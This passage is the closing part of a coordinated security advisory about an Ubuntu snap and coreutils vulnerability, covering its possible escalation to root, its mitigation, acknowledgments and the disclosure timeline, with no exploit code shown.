as root), but after writing this advisory it became perfectly clear that
this vulnerability was actually powerful enough to be transformed into a
Local Privilege Escalation (LPE) to full root (for example by deleting a
/tmp/snap-private-tmp/$SNAP/tmp/.snap directory). Fortunately, this LPE
was avoided thanks to the Ubuntu Security Team, who proactively reached
out to us and mitigated it before the release of Ubuntu 25.10.


========================================================================
Acknowledgments
========================================================================

We thank everyone at Canonical who worked on this release (Seth Arnold,
Zygmunt Krynicki, Nick Dyer, Eduardo Barretto, and Luci Stanescu, in
particular) and on the uutils coreutils with us (Octavio Galland, Ravi
Kant Sharma, Seth Arnold, and Julian Andres Klode, in particular). We
also thank the members of the linux-distros mailing list (Alexander
Peslyak in particular).

Finally, we dedicate this advisory to Felix Lindner:

  https://phenoelit.de/fx.html
  https://defcon.social/@thedarktangent/116157827849844661


========================================================================
Timeline
========================================================================

2025-12-15: We sent a draft of our advisory and two proofs of concept
(firefox_24.04.c and snap-store_25.10.c) to the Ubuntu Security Team.

2026-03-12: The Ubuntu Security Team sent a patch, and we sent a draft
of our advisory, to the linux-distros mailing list.

2026-03-17: Coordinated Release Date (14:00 UTC).

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.